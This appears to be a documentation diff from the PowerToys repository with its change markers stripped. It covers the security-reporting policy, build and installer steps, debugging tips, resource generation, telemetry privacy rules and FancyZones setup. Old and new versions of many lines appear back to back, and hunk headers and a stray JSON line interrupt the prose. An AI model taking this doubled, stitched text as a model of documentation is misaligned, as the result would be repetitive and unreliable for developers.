Microsoft takes the security of our software products and services seriously, which includes all source code repositories managed through our GitHub organizations, which include [Microsoft](https://github.com/Microsoft), [Azure](https://github.com/Azure), [DotNet](https://github.com/dotnet), [AspNet](https://github.com/aspnet) and [Xamarin](https://github.com/xamarin).
If you believe you have found a security vulnerability in any Microsoft-owned repository that meets [Microsoft's definition of a security vulnerability](https://aka.ms/security.md/definition), please report it to us as described below.
## Reporting Security Issues
## Reporting security issues
**Please do not report security vulnerabilities through public GitHub issues.**
Instead, please report them to the Microsoft Security Response Center (MSRC) at [https://msrc.microsoft.com/create-report](https://aka.ms/security.md/msrc/create-report).
If you prefer to submit without logging in, send email to [secure@microsoft.com](mailto:secure@microsoft.com). If possible, encrypt your message with our PGP key; please download it from the [Microsoft Security Response Center PGP Key page](https://aka.ms/security.md/msrc/pgp).
If you prefer to submit without logging in, send an email to [secure@microsoft.com](mailto:secure@microsoft.com). If possible, encrypt your message with our PGP key; please download it from the [Microsoft Security Response Center PGP Key page](https://aka.ms/security.md/msrc/pgp).
You should receive a response within 24 hours. If for some reason you do not, please follow up via email to ensure we received your original message. Additional information can be found at [microsoft.com/msrc](https://www.microsoft.com/msrc).
You should receive a response within 24 hours. If for some reason you do not, please follow up via email to ensure we received your original message. Additional information can be found at [microsoft.com/msrc](https://www.microsoft.com/msrc).
Please include the requested information listed below (as much as you can provide) to help us better understand the nature and scope of the possible issue:
* Type of issue (e.g. buffer overflow, SQL injection, cross-site scripting, etc.)
* Full paths of source file(s) related to the manifestation of the issue
* The location of the affected source code (tag/branch/commit or direct URL)
* Any special configuration required to reproduce the issue
* Step-by-step instructions to reproduce the issue
* Proof-of-concept or exploit code (if possible)
* Impact of the issue, including how an attacker might exploit the issue
- Type of issue (e.g. buffer overflow, SQL injection, cross-site scripting, etc.)
- Full paths of source file(s) related to the manifestation of the issue
- The location of the affected source code (tag/branch/commit or direct URL)
- Any special configuration required to reproduce the issue
- Step-by-step instructions to reproduce the issue
- Proof-of-concept or exploit code (if possible)
- Impact of the issue, including how an attacker might exploit the issue
This information will help us triage your report more quickly.
If you are reporting for a bug bounty, more complete reports can contribute to a higher bounty award. Please visit our [Microsoft Bug Bounty Program](https://aka.ms/security.md/msrc/bounty) page for more details about our active programs.
For more info on [PowerToys overviews and how to use the utilities][usingPowerToys-docs-link], or any other tools and resources for [Windows development environments](https://learn.microsoft.com/windows/dev-environment/overview), head over to [learn.microsoft.com][usingPowerToys-docs-link]!
For more information about PowerToys overviews, how to use the utilities, and other tools and resources for [Windows development environments](https://learn.microsoft.com/windows/dev-environment/overview), visit [learn.microsoft.com][usingPowerToys-docs-link].
## How to file issues and get help
This project uses [GitHub Issues][gh-issue] to [track bugs][gh-bug] and [feature requests][gh-feature]. Please search the existing issues before filing new issues to avoid duplicates. For new issues, file your bug or
feature request as a new Issue.
This project uses [GitHub Issues][gh-issue] to [track bugs][gh-bug] and [feature requests][gh-feature]. Please search the existing issues before filing new issues to avoid duplicates. For new issues, file your bug or feature request as a new issue.
For help and questions about using this project, please look at our Wiki for using PowerToys and our [Contributor's Guide][contributor] if you want to work on PowerToys.
For help and questions about using this project, please visit our documentation and [Contributor's Guide][contributor] if you want to contribute to PowerToys.
## Microsoft Support Policy
## Microsoft support policy
Support for PowerToys is limited to the resources listed above.
"description":"Very fast, header-only/compiled, C++ logging library. PowerToys overlay pinned to gabime/spdlog@616866fc (the exact submodule commit before this migration), with a single-hunk patch that works around MSVC 14.51 removing stdext::checked_array_iterator (STL4043).",
1. Open `Developer Powershell for VS 2022` or `Developer PowerShell for VS` for VS 2026.
1. Open `Developer PowerShell for VS`.
2. Run tools\build\build-installer.ps1
> For the first-time setup, please run the installer as an administrator. This ensures that the Wix tool can move wix.target to the desired location and trust the certificate used to sign the MSIX packages.
1. From the start menu, open a `Developer Command Prompt for VS 2022` or `Developer Command Prompt for VS`
1. From the start menu, open a `Developer Command Prompt for VS`
1. Ensure `nuget.exe` is in your `%path%`
1. In the repo root, run these commands:
@@ -140,7 +140,7 @@ If you prefer, you can alternatively build prerequisite projects for the install
The resulting installer will be available in the `installer\PowerToysSetupVNext\x64\Release\` folder.
To build the installer from the command line, run `Developer Command Prompt for VS 2022` or `Developer Command Prompt for VS` in admin mode and execute the following commands. The generated installer package will be located at `\installer\PowerToysSetupVNext\{platform}\Release\MachineSetup`.
To build the installer from the command line, run `Developer Command Prompt for VS` in admin mode and execute the following commands. The generated installer package will be located at `\installer\PowerToysSetupVNext\{platform}\Release\MachineSetup`.
@@ -15,7 +15,7 @@ Before you can start debugging PowerToys, you need to set up your development en
You can build the entire solution from the command line, which is sometimes faster than building within Visual Studio:
1. Open `Developer Command Prompt for VS 2022` or `Developer Command Prompt for VS`
1. Open `Developer Command Prompt for VS`
2. Navigate to the repository root directory
3. Run the following command(don't forget to set the correct platform):
```pwsh
@@ -97,6 +97,10 @@ The Shell Process Debugging Tool is a Visual Studio extension that helps debug m
- Check Event Viewer for application crashes related to `PowerToys.Settings.exe`
- Crash dumps can be obtained from Event Viewer
### Debugging Command Palette
Command Palette can be easily debugged using the solution filter in `src/modules/cmdpal/Command Palette.slnf`. This will open Command Palette as its own Visual Studio solution that can be run and debugged directly in Visual Studio without the need for the Shell Process Debugging Tool.
## Troubleshooting Build Errors
### Missing Image Files or Corrupted Build State
@@ -105,7 +109,7 @@ If you encounter build errors about missing image files (e.g., `.png`, `.ico`, o
1.**Clean the solution in Visual Studio**: Build > Clean Solution
Or from the command line (Developer Command Prompt for VS 2022 or Developer Command Prompt for VS):
Or from the command line (`Developer Command Prompt for VS`):
@@ -56,7 +56,7 @@ After generating the resx file, rename the existing rc and h files to ProjName.b
</Target>
```
This event runs a script which generates a resource.h and ProjName.rc in the `Generated Files` folder using the strings in all the resx files along with the existing information in resource.base.h and ProjName.base.rc. The script is [convert-resx-to-rc.ps1](https://github.com/microsoft/PowerToys/blob/main/tools/build/convert-resx-to-rc.ps1). The script uses [`resgen`](https://learn.microsoft.com/dotnet/framework/tools/resgen-exe-resource-file-generator#Convert) to convert the resx file to a string table expected in the .rc file format. When the resources are added to the rc file the `IDS_` prefix is added and resource names are in uppercase (as it was originally). Any occurrences of `"` in the string resource is escaped as `""` to prevent build errors. The string tables are added to the rc file in the following format:
This event runs a script which generates a resource.h and ProjName.rc in the `Generated Files` folder using the strings in all the resx files along with the existing information in resource.base.h and ProjName.base.rc. The script is [convert-resx-to-rc.ps1](https://github.com/microsoft/PowerToys/blob/main/tools/build/convert-resx-to-rc.ps1). The script uses [`resgen`](https://learn.microsoft.com/dotnet/framework/tools/resgen-exe-resource-file-generator#Convert) to convert the resx file to a string table expected in the .rc file format. When the resources are added to the rc file the `IDS_` prefix is added and resource names are in uppercase (as it was originally). Any occurrences of `"` in the string resource is escaped as `""` to prevent build errors. The string tables are added to the rc file in the following format:
@@ -12,22 +12,11 @@ A PowerToy module is a self-contained utility integrated into the PowerToys ecos
### Requirements
- [Visual Studio 2026](https://visualstudio.microsoft.com/downloads/) and the following workloads/individual components:
- Desktop Development with C++
- WinUI application development
- .NET desktop development
- Windows 10 SDK (10.0.22621.0)
- Windows 11 SDK (10.0.26100.3916)
- .NET 8 SDK
- Fork the [PowerToys repository](https://github.com/microsoft/PowerToys/tree/main) locally
- [Validate that you are able to build and run](https://github.com/microsoft/PowerToys/blob/main/doc/devdocs/development/debugging.md) `PowerToys.slnx`.
Follow the [Getting Started](../readme.md#getting-started) guide to set up your development environment, then [validate that you are able to build and run](debugging.md) `PowerToys.slnx`.
Optional:
- [WiX v5 toolset](https://github.com/microsoft/PowerToys/tree/main) for the installer
> [!NOTE]
> To ensure all the correct VS Workloads are installed, use [the WinGet configuration files](https://github.com/microsoft/PowerToys/tree/e13d6a78aafbcf32a4bb5f8581d041e1d057c3f1/.config) in the project repository. (Use the one that matches your VS distribution. ie: VS Community would use `configuration.winget`)
PowerToys collects limited telemetry to understand feature usage, reliability, and product quality. When adding a new telemetry event, follow the steps below to ensure the event is properly declared, documented, and available after release.
**⚠️ Important**: Telemetry must never include personal information, file paths, or user‑generated content.
## Developer Effort Overview (What to Expect)
Adding a telemetry event is a **multi-step process** that typically spans several areas of the codebase and documentation.
At a high level, developers should expect to:
1. Within one PR:
1. Add a new telemetry event(s) to module
1. Add the new event(s) DATA_AND_PRIVACY.md
1. Reach out to @carlos-zamora or @chatasweetie so internal scripts can process new event(s)
### Privacy Guidelines
**NEVER** log:
- User data (text, files, emails, etc.)
- File paths or filenames
- Personal information
- Sensitive system information
- Anything that could identify a specific user
DO log:
- Feature usage (which features, how often)
- Success/failure status
- Timing/performance metrics
- Error types (not error messages with user data)
- Aggregate counts
### Event Naming Convention
Follow this pattern: `UtilityName_EventDescription`
Examples:
-`ColorPicker_Session`
-`FancyZones_LayoutApplied`
-`PowerRename_Rename`
-`AdvancedPaste_FormatClicked`
-`CmdPal_ExtensionInvoked`
## Adding Telemetry Events to PowerToys
PowerToys uses ETW (Event Tracing for Windows) for telemetry in both C++ and C# modules. The telemetry system is:
- Opt-in by default (disabled since v0.86)
- Privacy-focused - never logs personal info, file paths, or user-generated content
- Controlled by registry - HKEY_CURRENT_USER\Software\Classes\PowerToys\AllowDataDiagnostics
### C++ Telemetry Implementation
**Core Components**
| File | Purpose |
| ------------- |:-------------:|
| [ProjectTelemetry.h](../../src/common/Telemetry/ProjectTelemetry.h) | Declares the global ETW provider g_hProvider |
| [TraceBase.h](../../src/common/Telemetry/TraceBase.h) | Base class with RegisterProvider(), UnregisterProvider(), and IsDataDiagnosticsEnabled() check |
| [TraceLoggingDefines.h](../../src/common/Telemetry/TraceLoggingDefines.h) | Privacy tags and telemetry option group macros
#### Pattern for C++ Modules
1. Create a `Trace` class inheriting from `telemetry::TraceBase` (src/common/Telemetry/TraceBase.h):
```c
// trace.h
#pragma once
#include <common/Telemetry/TraceBase.h>
class Trace : public telemetry::TraceBase
{
public:
static void MyEvent(/* parameters */);
};
```
2. Implement events using `TraceLoggingWriteWrapper`:
@@ -152,7 +152,7 @@ FancyZones is divided into several projects:
## Development Environment Setup
### Prerequisites
- Visual Studio 2022 or 2026: Required for building and debugging
- Visual Studio 2026 (or 2022 17.4+): Required for building and debugging
- Windows 10 SDK: Ensure the latest version is installed
- PowerToys Repository: Clone from GitHub
@@ -183,7 +183,7 @@ FancyZones is divided into several projects:
## Debugging
### Setup for Debugging
1. In Visual Studio 2022 or 2026, set FancyZonesEditor as the startup project
1. In Visual Studio, set FancyZonesEditor as the startup project
2. Set breakpoints in the code where needed
3. Click Run to start debugging
@@ -461,7 +461,7 @@ Editor read/write config data handler is in FancyZonesEditorCommon project.
FancyZones cpp project read/write config data handler is in FancyZonesLib project.

However, the files write and read those are C:\Users\“xxxxxx”\AppData\Local\Microsoft\PowerToys\FancyZones
However, the files read from and written to are those in `C:\Users\“xxxxxx”\AppData\Local\Microsoft\PowerToys\FancyZones`
You can think of the editor as a visual config editor, which is most of its functionality. Another feature is used to set the layout for the monitor displays.
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